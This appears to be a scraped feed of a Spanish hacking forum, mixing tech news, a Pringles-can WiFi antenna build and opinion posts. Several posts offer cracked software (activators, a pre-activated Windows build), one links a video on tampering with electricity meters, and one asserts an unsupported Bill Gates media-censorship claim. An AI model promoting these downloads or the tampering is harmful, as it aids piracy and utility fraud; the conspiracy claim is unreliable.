Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

[INFO]Apple libera iOs 7.1

$
0
0




Ha llegado el momento que algunos esperábamos por fin a sido puesta para su descarga el iOs 7.1, ya sea desde iTunes o via OTA viene incluido muchas mejoras en la interfaz, nuevas características y corrección de errores. Ahora introdujo Apple CarPlay (conoce mas...) que mejora la experiencia con tu iPhone 5/5c/5s en el momento que conduces


Algunas Novedades:
Interfaz y Rendimiento

- Mejora del rendimiento en el iPhone 4.
- Nuevo ajuste de la cámara para activar HDR automáticamente en el iPhone 5s.
- Compatibilidad con el llavero de iCloud en más países.
- Soluciona un problema que en ocasiones podía causar el bloqueo de la pantalla de inicio.
- Mejora del reconocimiento de la huella digital con Touch ID.
Se ha arreglado el globo que indica el número de mensajes no leídos en Mail cuando el número es mayor que 10.000.
Mejora continua de la interfaz de usuario.

Apple CarPlay

- El sistema iOS adaptado al coche. (Solo hay que conectar el iPhone a un coche con CarPlay.)
- Compatible con las aplicaciones Teléfono, Música, Mapas y Mensajes, y aplicaciones de audio de terceros.
- Control mediante Siri y la pantalla táctil y los botones del coche.

iTunes Radio

- El campo de búsqueda, que se encuentra encima de las emisoras destacadas, permite crear emisoras fácilmente en función de sus artistas y canciones favoritas
- Compre álbumes con solo pulsar un botón desde “Ahora suena”.
- Suscríbase a iTunes Match desde el iPhone, iPad o iPod touch para disfrutar de iTunes Radio sin anuncios.


IMPORTANTE: Si eres un Jailbreaker y quieres seguir conservando Cydia y demas, no actualices!!



Si deseas Buscar algun IPSW o descargar esta ultima version, te recomiendo hacerlo aqui:
http://www.getios.com/

Saludos!!

Facebook + WhatsApp = FaceApp

$
0
0

Pagar 19.000 millones de dólares por una compañía obliga a unas cuántas preguntas. Lo fundamental es saber por qué ha decidido Facebook dar este paso de adquirir WhatsApp ¿Está justificada la cantidad desembolsada? WhatsApp tiene 55 empleados, 450 millones de usuarios y un tráfico diario de 50.000 millones de mensajes. Esas son las cifras para el debate.

La cifra no se justifica, ni por las cuentas de WhatsApp, ni por su modelo de negocio, ni por su capacidad de generar ingresos. «Por lo que hoy es, parece claro que se ha pagado un sobreprecio. Para comprobar hasta que punto, valdría con analizar que por cada uno de sus usuarios WhatsApp ingresa menos de un dolar, y Facebook está pagando más de 35», asegura Javier Flores, responsable del Servicio de Estudios y Análisis de Asinver.

Flores no cree que la compra tenga tanto que ver con la búsqueda de Facebook de un nicho para colocar su publicidad: «me parece demasiado sofisticado pensar que lo que hablamos en WhatsApp luego nos va a "invadir" de publicidad en Facebook». Además, en WhatsApp seguirá sin haber publicidad.

En su opinión, por tanto, no se justificaría la compra, por el acceso a una base de datos para los anunciantes. «Lo que parece más realista es que Facebook esté comprando cuota de mercado en el terreno de la mensajería instantánea. Además, es una puerta para volver a conectar con el público más joven, donde estaba perdiendo usuarios. No es descartable que se busque una integración o más bien una vinculación entre ser usuario de la aplicación y tener una cuenta en la red social».

Y con todo, ¿no sigue siendo demasiado 19.000 millones de dólares? Flores recuerda que eso representa tan sólo el 5% de la capitalización de Facebook. ¿Piensan lo mismo los accionistas? La evolución de la acción de Facebook ha tenido un primer impacto negativo, «porque no es bueno para el accionista que salga valor de la compañía por algo que no se sabe cómo va a generar rédito». El analista de Asinver explica, no obstante, que en el primer día de caídas, con el valor dejándose un 6%, el descenso representó «prácticamente el valor de la operación, y en las operaciones de futuros posteriores ya se recuperó la mitad». El impacto de la operación podría estar ya recogido y el recorrido de su acción tener perspectivas al alza.

Los dispositivos móviles
Pero, ante todo se trata de entrar en el territorio móvil. «Puede haber una psicosis de que si no se está, pueda venir otra compañía, Google básicamente, y comprarlo. Inevitablemente, ahora empiezan las quinielas sobre futuras adquisiciones. Hay mucha liquidez en el sector».

Flores enmarca también la operación en «una compra de talento, pero especialmente para dejar una puerta abierta una nueva hacia el futuro, si ese futuro tiene que ver con la mensajeria instantánea».Aunque Facebook tiene ya Messenger, esta compra viene a decir que no es suficiente con ello.

El Gran Hermano de la información
«WhatsApp representa la privacidad total. Ninguna otra compañia tiene en su poder toda esa información», señala Javier Sirvent, Gerente de Movilidad y Estrategia Digital de Norma 4, que apunta singularmente a la enorme base de datos con la que se hace Facebook. «WhatsApp habla de comunicaciones en el ámbito súper privado. Si cruzasen sus bases de datos con los de Facebook van a saber lo que la gente habla fuera de su red social»

«Es un hachazo al conocimiento de Google, ellos saben dónde estás, pero no de lo que hablas, al menos no en las cosas más íntimas y espontáneas», señala Sirvent, que es todavía más contundente: «Facebook se convierte en el Gran Hermano mundial, en monopolista de la información personal».

Pero a pesar de todo ello, ¿cómo sacar rentabilidad de una operación tan ambiciosa? Sirvent lo tiene claro: «De las tendencias que hables en WhatsApp, ya te pondrán publicidad en Facebook. Además servir para llegar a nuevos usuarios. La operación vale los 19.000 millones de dólares por lo que supone en el ámbito de la información privada, instantánea, espontánea y transparente».

La ley de Zuckerberg
En el año 2008 Mark Zuckerberg enunció la que se conoció como la nueva ley de las redes sociales: la compartición de contenidos por los usuarios se duplicará cada año. Su enunciado recordó de inmediato a la ley de Moore, el CEO de Intel que hace décadas describió un ciclo de 24 meses para doblar la potencia de los procesadores.

Facebook desde luego cumplía con lo que anunciaba su fundador. Pero en la consolidación y evolución del smartphone como dispositivo del presente y del futuro, surgieron competidores que limitaban la capacidad de compartición de contenidos de Facebook. Instagram, ya adquirida por la compañía que dirige Zuckerberg, y WhatsApp eran los principales competidores. Facebook tenía el monopolio del sharing en PCŽs, ahora se encamina a conseguirlo también en los dispositivos móviles.

Facebook + WhatsApp = FaceApp

Red Social: https://www.facebook.com/pages/Faceapp/670120756401130

¿y ustedes que creen?

PD: Si copia este artículo en su muro o simplemente haga clic en "Compartir", sus amigos lo leerán también.

splash Pro Ex+Activador (1 link)

$
0
0
splash Pro Ex+Activador







plash PRO EX

Splash PRO EX combina todas las características de Splash PRO con la exportación fácil y rápido de videos a dispositivos populares, Facebook, YouTube ™ y mucho más ... Descargar una prueba gratuita
Diseñado y optimizado para HD!
Juega y convertir todas tus películas en alta definición y los clips de videocámara, increíblemente rápido, suave y sin problemas. Usted no necesita ningún codec adicional. Descargar, instalar, ver, convertir y compartir. Se tarda aproximadamente un segundo para iniciar la aplicación y reproducción de vídeo de alta definición!

La conversión de videos con estilo!
Disfrute de lo último en rendimiento e interfaz de usuario elegante. Seleccione uno de los muchos perfiles predefinidos y pulsar un botón para exportar los clips de forma fácil y rápida a los formatos populares, sus dispositivos multimedia favoritos, Facebook o YouTube ™. Ahorrar energía y tiempo para elegir optimizado y acelerado por hardware de vídeo exportación con Splash PRO EX.
Imagen ² - simplemente impresionante calidad de vídeo!
Avanzado motor de imagen post-procesamiento, la entrega de impresionante calidad de vídeo. Ver videos estándar y de alta definición como nunca antes, disfrutar de un movimiento suave y detalles nítidos y colores vivos.
Descargar una prueba gratuita de Splash PRO EX ahora y utilizar el modo de demostración para ver la diferencia! Obtenga más información y ver la imagen ² clips de demostración.


Disfrute de lo último en rendimiento!
Tome ventaja de las últimas tecnologías de aceleración de hardware para ahorrar tiempo y reducir el consumo de energía. Splash PRO EX combina las últimas tecnologías, incluyendo NVIDIA ® CUDA ™ y Intel ® Quick Sync de vídeo con aceleración por hardware de descodificación de vídeo para impulsar el proceso de exportación aún más! Más información acerca de Splash PRO EX rendimiento Compruebe los mejores ajustes de rendimiento para su PC


El mejor jugador de
sus clips de videocámara de alta definición!
Soporta AVCHD ™ de formato. Redescubre calidad de alta definición con Splash PRO EX y el estado de la técnica de imágenes ² tecnología! Vea sus clips 20/24/25/30p suave como nunca antes con la tecnología Motion ². Busque sus clips directamente desde la videocámara AVCHD ™ con menús interactivos videocámara HD.

Escalado de vídeo de alta calidad.
Convertir tus vídeos con las tecnologías avanzadas de pre-procesamiento de vídeo. Splash PRO EX escalamiento de alta calidad mantiene tus vídeos afilada y limpia cada vez que exportar el vídeo original para resoluciones inferiores o superiores. La tecnología está optimizado para procesadores multi-núcleo para proporcionar un excelente rendimiento.
EcoMode - Ahorre energía!
Piense verde! Ahorrar energía, ahorrar dinero y disfrutar de la reproducción de vídeo más larga de las baterías. Administración de energía inteligente de EcoMode está diseñado para reducir el consumo de energía de su PC móvil. Disfruta de hasta reproducción de vídeo de un 40% más en las baterías del ordenador portátil / netbook. Con EcoMode usted puede controlar su consumo de energía de la batería, el nivel y más desgaste.

Ultra sensible, elegante
interfaz de usuario e innovador.
Splash es compacto, elegante y fácil de usar e increíblemente rápido! Descubre inteligente Busque, avanzado modo diseñado para encontrar escenas específicas película sin interrumpir la reproducción de vídeo buscan. Splash ofrece la mejor experiencia de usuario para la reproducción de archivos de vídeo. Diseñado para disfrutar de multimedia de la manera adecuada.
Con Mirillis Codecs.
Decodificadores de audio y video Ultra rápido diseñado para su procesador multi-core y aceleración de hardware de tarjeta gráfica (GPU). Elija nuestras tecnologías de bajo consumo de energía optimizado, guarde su móvil baterías de PC, el dinero y el medio ambiente. Usted no necesita ningún codec adicional para reproducir los videos de mejor calidad ahora!
















Descarga


http://freakshare.com/files/nsux20de...ro_Ex.rar.html

Como trucar un contador Digital [VideoManual][LINK PREMIUM]

$
0
0


En este videomanual se enseña como trucar o paralizar un contador digital de la luz.

Nota: esto es MERAMENTE para aprender conceptos, no para delinquir.
El uploader no se responsabiliza del mal uso que se le pueda dar.





Activado Hybrid traffic en Uploaded (Descarga como Premium Gratis 24 desde la publicacion)

http://ul.to/k0op9bzm



Disfruta de la descarga ;)

Descargar Premium se podrá hacer sin pagar nada?

$
0
0
Bueno mi duda es si hay un método para poder descargar premiun del servidor DepositFiles ya que no me deja echas mas de una descarga.. :_pen: espero que aya alguna manera de hacerlo y me puedan ayudar.. gracias mis amigos..saludos

Para empezar en el hacking, ¿qué es lo primero que debo de aprender?

$
0
0
Alguien me podría ayudar, quiero empezar en el Hacking pero no se que libros,revistas,artículos, etc... tengo que leer para empezar en esto.
De antemano, muchas gracias

Descargar Premium se podrá hacer sin pagar nada?

$
0
0
Cita:

Iniciado por lito150 (Mensaje 1042925199)
Bueno mi duda es si hay un método para poder descargar premiun del servidor DepositFiles ya que no me deja echas mas de una descarga.. :_pen: espero que aya alguna manera de hacerlo y me puedan ayudar.. gracias mis amigos..saludos

Fájate donde escribes tu duda, esto es el area de sistemas libres.

Sistema de alarmas para seguridad hogar

$
0
0
Hola! Me encantaría saber qué sitios conocen en la web donde se ofrezcan servicios de alarmas para casas y empresas. Me interesó mucho el perfil de Alarmas Tyco ADT 911 010 511 alarmas de seguridad ofertas de alarmas porque no me cobran los equipos y no romperán nada en casa para instalarlas pero soy nuevo en esto y me servirá mucho cualquier sugerencia adicional! :_ok:

Steve Martin - Steve Martin and the Steep Canyon Rangers 2014

$
0
0

Steve Martin - Steve Martin and the Steep Canyon Rangers
2014 | 256 kbps | 137 MB | Mp3

Playlist:

Katie Mae
Jubilation Day
Get Along Stray Dog
Yes She Did
Love Has Come For You
The Crow
Fighter
Sarah Jane And The Iron Mountain Baby
Hunger
Atheists Don't Have No Songs
Katie Mae
Daddy Played The Banjo
Jubilation Day
The Crow
Get Along Stray Dog
Love Has Come For You
Fighter
Sarah Jane And The Iron Mountain Baby
Stand And Deliver
Hunger


Código:

http://ul.to/8ugxmzvz
Código:

http://rapidgator.net/file/edf787a999ecf6c108ae3cbaa90674a5/Steve_Martin_-_Steve_Martin_and_the_Steep_Canyon_Rangers.zip.html
Código:

http://tinyurl.com/p6pssgs

SamDrivers 14.3.2 Full Edition Final [ Españo] [Pack Drivers][X32/X64] [Español]

$
0
0

Descargar SamDrivers 14.3.2 Full Edition Final Español [Pack Drivers][X32/X64] [Español] . Gratis




DESCRIPCION

Colección de Drivers de SamLab (Laboratorios) para todos los Windows de 32 y 64 Bits, desde Windows 2000 a Windows 8.1 Blue, incluyendo plataformas de servidor.
El instalador autodetecta su hardware y de forma automática instala los drivers necesarios usando programas especiales:
DriverPack Solution 14/ Asistente de instalación de drivers 5.4.18 (Utilizando versión 4.0)/DriverX 3.05 (versión 1.88 y Utilizando versión 2.2)
La colección incluye los Drivers mas actuales según fecha de liberación de este pack por SamLab.
No confunda este paquete con los de DriverPack – estos drivers son nuevos y más estable.
SamLab durante mucho tiempo ha sido un miembro de Bashrat (DriverPackSolutions) del equipo tiene la oportunidad para conocer todos los problemas de los otros paquetes
y las nuevas actualizaciones para hacer que su propio conjunto de Drivers más actualizados.
Este Pack a diferencia que el DriverPackSolution, se utiliza además en las Laptop, obteniendo un buen Resultado.
Esta version FULL contienen los paquetes de Controladores de impresoras, Touchpad_Alps, Touchpad_Elan, Touchpad_Cypress, Touchpad_Synaptics,
Touchpad_Others, Video_Server y un Pack de soft actualizados

LISTA DE DRIVERS DE ESTA VERSION

Drivers\DP_Biometric_14032.7z
Drivers\DP_Bluetooth_14032.7z
Drivers\DP_CardReader_14032.7z
Drivers\DP_Chipset_14032.7z
Drivers\DP_LAN_Intel_14025.7z
Drivers\DP_LAN_Others_14032.7z
Drivers\DP_LAN_Realtek_14025.7z
Drivers\DP_MassStorage_14032.7z
Drivers\DP_Misc_14032.7z
Drivers\DP_Modem_14032.7z
Drivers\DP_Sound_ADI_14025.7z
Drivers\DP_Sound_CMedia_14025.7z
Drivers\DP_Sound_Conexant_14032.7z
Drivers\DP_Sound_Creative_14032.7z
Drivers\DP_Sound_IDT_14025.7z
Drivers\DP_Sound_Others_14025.7z
Drivers\DP_Sound_VIA_14025.7z
Drivers\DP_Sounds_HDMI_14025.7z
Drivers\DP_Sounds_Realtek_14032.7z
Drivers\DP_Telephone_14032.7z
Drivers\DP_TV_Aver_14025.7z
Drivers\DP_TV_Beholder_14025.7z
Drivers\DP_TV_DVB_14025.7z
Drivers\DP_TV_Others_14025.7z
Drivers\DP_Video_AMD_14032.7z
Drivers\DP_Video_Intel_14025.7z
Drivers\DP_Video_nVIDIA_14025.7z
Drivers\DP_Video_Others_14032.7z
Drivers\DP_WebCam_14032.7z
Drivers\DP_WLAN_14032.7z
Drivers\DP_xUSB_14025.7z

SOFTWARE INCLUIDO

Soft\7-Zip.exe
Soft\AIMP3.exe
Soft\Backupper.exe
Soft\BurnAware.exe
Soft\CPLDAPU.exe
Soft\DirectX.exe
Soft\DotNet7.exe
Soft\DotNet8.exe
Soft\DotNetXP.exe
Soft\DragonSetup.exe
Soft\FSImage.exe
Soft\FlashPlayer.exe
Soft\FoxitReader.exe
Soft\IE10-7×64.exe
Soft\IE10-7×86.exe
Soft\IE8-XPx86.exe
Soft\Java.exe
Soft\MRT.exe
Soft\Opera.exe
Soft\PhysX.exe
Soft\PotPlayer.exe
Soft\PotPlayerMini.ini
Soft\PuntoSwitcher.exe
Soft\QIP2012.exe
Soft\RuntimePack.exe
Soft\RuntimeRun.exe
Soft\SAMCoDeCs.exe
Soft\Settings.js
Soft\Shockwave.exe
Soft\Silverlight.exe
Soft\Skype.exe
Soft\TeamViewer.exe
Soft\VisualCplus.exe
Soft\WinRAR.exe
Soft\WiseCare.exe
Soft\uTorrent.exe

INFORMACION TECNICA

Nombre: SamDrivers 14.3.2 Full Edition Final
S.O: Windows XP/Windows Vista/Windows 7/ Windows 8 / 8.1
Idioma: Multidioma - Español incluido -
Arquitectura: X86 32 / x64 64 bits
Tamaño: 7.40 Gb
FECHA DE SALIDA: 16.03.2014
Formato archivo. RAR. Una vez descomprimido se en imagen ISO, para grabar con Nero, Ultraiso o similar
Medicina NO requiere


REQUISITOS DEL SISTEMA

Procesador Intel® Pentium® 4 o AMD Athlon® de 64 bits. (de 2 GHz o superior).
1 GB de RAM.
2,5 GB de espacio disponible en el disco duro para la instalación; se requiere espacio libre adicional durante la instalación (no se puede instalar en dispositivos de almacenamiento flash extraíbles).
Resolución de 1024 x 768 (se recomienda 1280 x 800) con tarjeta gráfica OpenGL® 2.0, color de 16 bits y 512 MB de VRAM (se recomienda 1 GB)*



Pincha en imagen para agrandar








Cita:





ENLACES INTERCAMBIABLES


Letitibit

Sd170314.part09.rar download for free on file share letitbit.net
Sd170314.part11.rar download for free on file share letitbit.net
Sd170314.part10.rar download for free on file share letitbit.net
Sd170314.part07.rar download for free on file share letitbit.net
Sd170314.part08.rar download for free on file share letitbit.net
Sd170314.part05.rar download for free on file share letitbit.net
Sd170314.part06.rar download for free on file share letitbit.net
Sd170314.part03.rar download for free on file share letitbit.net
Sd170314.part04.rar download for free on file share letitbit.net
Sd170314.part01.rar download for free on file share letitbit.net
Sd170314.part02.rar download for free on file share letitbit.net


FreakShare

FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting


Uploaded

Sd170314.part11.rar (581,85 MB) - uploaded.net
Sd170314.part10.rar (700,00 MB) - uploaded.net
Sd170314.part09.rar (700,00 MB) - uploaded.net
Sd170314.part08.rar (700,00 MB) - uploaded.net
Sd170314.part07.rar (700,00 MB) - uploaded.net
Sd170314.part06.rar (700,00 MB) - uploaded.net
Sd170314.part05.rar (700,00 MB) - uploaded.net
Sd170314.part04.rar (700,00 MB) - uploaded.net
Sd170314.part03.rar (700,00 MB) - uploaded.net
Sd170314.part02.rar (700,00 MB) - uploaded.net
Sd170314.part01.rar (700,00 MB) - uploaded.net




De donde son, y como son las escuelas?

$
0
0
De donde son, y como son las escuelas?

Para mi la educación es lo mas importante en la vida, porque con ello podemos aprender a pensar y deducir el porque y el para que de las cosas. Aprender a ser feliz.

Yo pienso que sin una buena educación, no podemos lograr todo esto, algunos si pueden,pero otros no, y la mayoría no podrá. Algunos pensaran que lo han logrado pero no se darán cuenta porque no conocen la otra perspectiva, y van por ahí acostumbrándose a ver morir a las personas y jodiendo a los demás,dejándose manipular por la TV y consumiendo drogas porque piensan que esta de moda, o porque solo así se pueden sentir bien y olvidarse de sus problemas. Aceptan su vida tal y como es, y todo porque desde pequeños sus padres no les enseñaron. Porque los padres de sus padres tampoco enseñaron a sus hijos.
No tuvieron educación,No tienen virtudes, pero si que tienen vicios. Tal vez si tuvieron una educación,pero una de las malas,o no se interesaron por aprender, porque nadie les motivo para hacerlo, o las personas quienes les enseñaron no tuvieron educación, pero van por ahí haciéndose pasar por educadores. Cuando en realidad no saben que es la educación, y piensan que es solo poner una nota y ya. Tienen tiempo de aprender y luego transmitir el conocimiento a los aprendices pero no lo hacen, porque es mas importante ver la novela o el partido de fútbol, o vete a ver si ya puso la marrana. Si los estudiantes de todos modos no quieren aprender,
entonces para que voy a enseñarles?.

No saben que a los seres humanos nos gusta aprender, nos gusta lo desconocido, pero de tanto tiempo viendo la TV todo eso se pierde, y hace falta revivir ese espíritu que tenemos al nacer. Si, ese espíritu que nos hace descubrir el mundo que nos rodea, que nos hace meter en la boca cualquier cosa que encontremos, y luego de romper las cosas con las manos.Pero luego todo se pierde.
Y por que es tan difícil recuperar ese espíritu?, Sí yo personalmente cuando hablo sobre temas de física, veo como se ponen inquietos tratando de resolver sus dudas sobre el tema y hacen preguntas, y yo me siento mal cuando no se como responder,entonces toca aprender mas para luego profundizar en el tema.

Llega el momento finalmente,Se gradúan. Buscan empleo y no encuentran, porque no hay, Sufren las consecuencias, se les aplica exámenes para ocupar el puesto, y no lo pasan, y luego toca meter palanca(una ayuda interna para ser aceptados en el puesto) y si es en una empresa extrajera, pues mas difícil. Por no tener una educación, no pueden crear su propia empresa. O porque los de afuera compraron el país y por eso solo ponen empresas extranjeras. Sí, asi es, Una familia crea computadoras mas veloces que las actuales, pero Bill gates compra la cadena de medios mas grande de habla hispana y los censura, para seguir vendiendo su tecnología al pais,que nadie se entere de esta familia que es inventora, mejor pongan noticias falsas para que la gente se entretengan un rato con falsedades, que creen que nadie se iba a dar cuenta de las mentiras que dicen?. Bueno, entonces ya nos compraron el país no?, ya nada es nuestro, para que hacer las cosas entonces?, ha, es que no se nos enseño que la unión hace a la fuerza, y cuando nos unimos nadie nos puede detener. Pero se nos enseño en las escuelas desde pequeños a trabajar individualmente, a pensar que en un partido de fútbol solo importa si el chicharito juega bien y mete goles, a que si todo el equipo juega bien en conjunto, Si pierden el partido nacional, la culpa la tiene el delantero porque no metió goles. Pero eso piensan porque así se les educo, trabajen solos se les dijo, es la mejor manera se les dijo.

Los extranjeros usan la famosa frase de los programadores: "divide y vencerás", Pero que bien ha funcionado esto no ?, si Ahora yo lo uso cada vez que programo. Y para que sigan pensando de esta manera, Vamos a prestarles dinero,el FMI(Fondo Monetario Internacional) lo hace, porque después de todo ellos no tienen, y lo necesitan para pagarle a los maestros ineficientes que poseen en las escuelas. Pero esperen, Si les prestamos dinero, entonces tenemos que ponerles condiciones. Con tal de que sigan pidiendo mas y aumentando su deuda, El petroleo se les acabara algún día, y vamos a ver que hacen a esa hora.


Pienso que la educación siempre ha sido el deber de todos, El transmitir los conocimientos, para que los demás transmitan el suyo y así sucesivamente. Si esto no es así, al final solamente tenemos a un montón de gente que se deja manipular y no ven las cosas tal y como es.
Dentro de poco mis amigo/as y yo ingresaremos a la universidad, por mi no hay problema porque ya se como obtener el conocimiento por mi cuenta. la carrera que quiero estudiar es algo pesado pero se que puedo con esfuerzo. Para lo que conozco en cambio, pues no se, tal vez no sea tan así como creó, y eso espero.


Ustedes que opinan con respecto a todo esto? De donde son, y como son las escuelas?

Disculpen si me extendí mucho.

Bien. Gracias por leer.

Gadget Nº 64 Abril 2014 "Móviles de Nueva Generación" [LINK PREMIUM]

$
0
0


Gadget Nº 64 Abril 2014 "Móviles de Nueva Generación"
Formato PDF/JPG




Activado Hybrid traffic en Uploaded (Descarga como Premium Gratis 24 desde la publicacion)

http://ul.to/kergi09q



Disfruta de la descarga ;)

Windows 8.1 Blue 3 [Update 1][Marzo 2014] [32 / 64Bits][Español]

$
0
0

Descargar Windows 8.1 Blue 3 [Update 1][Marzo 2014] [32 / 64Bits][Español]. Gratis



DESCRIPCION

Nombre Oficial: Windows Blu3 u1
Nombre de desarrollo: Comodoro
Nombre Microsoft: Windows 8.1 Update 1
Para su correcta instalacion reiniciar el sistema una vez acabada.

MEJORAS

Se pueden ver a simple vista. Son un acercamiento a los usuarios de teclado y ratón ya que, por ejemplo,
Tenemos situados en la parte superior derecha de la interfaz Modern UI los botones de búsqueda y menú de apagado del equipo.
Accesos directos a búsqueda y menú de apagado

También tenemos una barra en la parte superior de las aplicaciones Modern UI que nos permitirá minimizarlas, cambiar entre ellas o cerrarlas.
Ejemplo de la barra superior en aplicaciones Modern UI
Y Microsoft ha facilitado el acceso al Panel de Control, oculto desde Configuración de PC en Windows 8.1,
que tendrá su acceso directo en Configuración de PC desde esa opción con Update 1.

Otro de los cambios que tenemos es que si estás en el escritorio y abres una aplicación con interfaz Modern UI,
la barra de inicio no desaparecerá hasta que interactúes con la aplicación en cuestión, facilitando la vuelta al modo Escritorio y resto de aplicaciones.

Microsoft ha escuchado a los usuarios de PC para darles la solución ante problemas comunes como la falta del botón cerrar o minimizar en las aplicaciones METRO
y hoy es posible cerrar las aplicaciones Metro sin la necesidad de usar el comando ALT + F4..
los usuarios básicos no se llevan mucho con comandos así que ahora es posible cerrar todas las APP de Metro desde la “X” agregada como en cualquier ventana de programas.

Se agrega así también el botón de reinicio y apagado en en Metro tal cual se aprecia la imagen,
ya que para muchos usuarios era estresante buscar donde apagar el sistema y muchos otros usuarios tenían problemas para acribar el menú lateral para apagar el equipo.

Después de esos cambios Microsft, podemos comentarles los cambios Wi-Black.

Se ha actualizado el sistema a la Update 1 para mejorar el rendimiento y compatibilidad del sistema con aplicaciones, controladores,
dispositivos externos o periféricos.

Se mejora la velocidad de conexión en Red e Internet para evitar las saturaciones constantes.

Se mejora la compartición de archivos en entornos mixtos ( Windows – MAC)

Internet Explorer es ahora mucho más estable con la nueva actualización para este navegador haciéndolo más seguro y
estable que antes, trabaja de mejor forma con HTML5 para videos como en YouTube entre otros y las conexiones simultáneas aumentaron a sin límite.

El Sistema ya viene activado por defecto y no requiere de parches ni activaciones de terceros.

Las únicas aplicaciones que vienen por defecto son: Skype, Chrome y el antivirus CORPORATIVO de Microsoft,
Microsoft Forefront Endpoint Security 2013 que ya se actualiza en cualquier equipo sin problema.

Se han activado los paquetes de Framework 3.5 y 4 previamente en el sistema por tanto no será necesario instalarlos a futuro.

Hay muchos cambios nuevos en el nuevo sistema que esperamos sean de su agradado ya que en lo personal también odiamos a Windows 8.1
pero desde la Update 1 hay muchas cosas atractivas en la funcionalidad del sistema.

CONTENIDO

Windows 8.1 Pro X86
Windows 8.1 Enterprise X86
Windows 8.1 Pro X64
Windows 8.1 Enterprise X64

INFORMACION TECNICA

Nombre: Windows 8.1 Blue3 u1
SO: Windows 8.1
Arquitectura: 32 / 64 Bits
Idioma: Español
Tamaño: 6.27 GB la imagen del SO + Medicina aparte
Medicina. Incluida si hiciera falta
Formato archivo. RAR. Una vez descomprimido se convierte en Imagen para Grabar con Nero - UltraIso, Alcohol 120 o similar

REQUISITOS SISTEMA

* Procesador 1 Ghz (1.6 Recomendado)
* Memoria Ram 2 GB
* Espacio en disco 16 Gb
* Lector DVD o conexion USB
* Tarjeta gráfica: Que admita DirectX 9 con driver WDDM.
* Para uso en pantallas táctiles: El tablet o monitor táctil deben ser del tipo "multitouch" (multitáctil).


Pincha en imagen para agrandar







Cita:



LOS ENLACES SON INTERCAMBIABLES


Letitibit

Huit8.1170314.part10.rar download for free on file share letitbit.net
Huit8.1170314.part05.rar download for free on file share letitbit.net
Huit8.1170314.part08.rar download for free on file share letitbit.net
Huit8.1170314.part07.rar download for free on file share letitbit.net
Huit8.1170314.part09.rar download for free on file share letitbit.net
Huit8.1170314.part06.rar download for free on file share letitbit.net
Huit8.1170314.part03.rar download for free on file share letitbit.net
Huit8.1170314.part04.rar download for free on file share letitbit.net
Huit8.1170314.part02.rar download for free on file share letitbit.net
Huit8.1170314.part01.rar download for free on file share letitbit.net



Uploaded

Huit8.1170314.part08.rar (700,00 MB) - uploaded.net
Huit8.1170314.part09.rar (700,00 MB) - uploaded.net
Huit8.1170314.part07.rar (700,00 MB) - uploaded.net
Huit8.1170314.part10.rar (380,48 MB) - uploaded.net
Huit8.1170314.part06.rar (700,00 MB) - uploaded.net
Huit8.1170314.part05.rar (700,00 MB) - uploaded.net
Huit8.1170314.part04.rar (700,00 MB) - uploaded.net
Huit8.1170314.part03.rar (700,00 MB) - uploaded.net
Huit8.1170314.part02.rar (700,00 MB) - uploaded.net
Huit8.1170314.part01.rar (700,00 MB) - uploaded.net


FreakShare

FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting
FreakShare - Easy One-Click File Hosting






Una antena casera de largo alcance, en una guía a prueba de errores

$
0
0
En este post transmitiré mi experiencia que obtuve al crear una antena doble pringles.




En internet encontré muchos tutoriales de cómo fabricar una antena de pringles, estos tenían varias diferencias unos de otros, pero lo que siempre pasa cuando realizas una guía o tutorial es que nunca se dan las condiciones óptimas para poder realizar el tutorial al pie de la letra (por lo menos en mi caso nunca consigo al 100% seguirlos paso a paso siempre termino improvisando o mesclando tutoriales) así que en este les enseñare las improvisaciones que realice hasta que conseguí que funcionara.

Entonces comencemos primero que nada conseguimos los materiales necesarios para realizar la antena (costo total 14€-16€):

• 1 barra rosca de 4mm(en las ferreterías normalmente las vende de 1 metro de longitud)
• 16 arandelas de 30mm diámetro externo
• 32 arandelas diámetro interno de 4mm da igual el externo
• 32 tuercas de 4mm para la barra
• 2 botes de pringles preferentemente de 170g pero como yo no encontré utilice de 165g
• Lata de coca-cola.
• Conector N hembra y macho (esto es lo más caro sobre los 10€)
• 1,5 metros de cable SMA
• 1 conector SMA hembra
• Un alambre de cobre de 3cm de largo y 1,5mm de diámetro










Los problemas que podéis encontrar son:

No encontrar la barra de 4mm, la pueden cambiar por una de 3mm o asta 2mm en el tutorial que yo encontré decían una de 3mm pero yo no encontré y utilice una de 4mm pero más de 4mm no lo intentéis porque será demasiado.

Si cambian la barra tengan en cuenta que habrá que cambiar el diámetro de las tuercas y el de las arandelas pequeñas.

Las arandelas pequeñas son solo para que con las tuercas logren fijar las arandelas grandes, si encontráis una arandela de 30mm de diámetro externo con 4mm de diámetro interno no necesitáis las arandelas pequeñas, yo no pude encontrarlas por eso compre las pequeñas para fijar las grandes.

No encontrar las pringles de 170g, se pueden cambiar por otras más pequeñas pero necesitaremos una lata de coca-cola para usarla como extensión.




Cortamos la lata en las líneas rojas de la imagen y nos quedaran las láminas que utilizaremos como extensión, en medio de los 2 botes de pringles.


Ensamblado


Cortamos la barra a los 50cm y comenzamos a colocar las arandelas y las tuercas como se muestra en la siguiente imagen.







Luego de tener lista la barra, cortamos la base de una de las pringles y a la otra le realizamos una abertura a 8cm de la base para colocar en ese agujero el conector N hembra, en el cual tenemos que soldar el alambre de cobre de 3cm como se aprecia en las siguientes imágenes.

















Para calcular la extensión con la lata de coca-cola se tiene que introducir la barra que construimos antes y tiene que estar a 1cm o 1,5cm del conector N hembra, nunca tiene que tocar el alambre de cobre.




Ahora solo nos falta hacer el cable, las piezas interiores tienen que estar soldadas, yo no realice este paso porque no soy muy bueno para las manualidades así que le pedí ayuda a un amigo que es electrónico, pero tened en cuenta que cuando este armado el cable tenéis que probar con un tester la conectividad de la malla y la de las pieza central como se muestra en las imágenes.







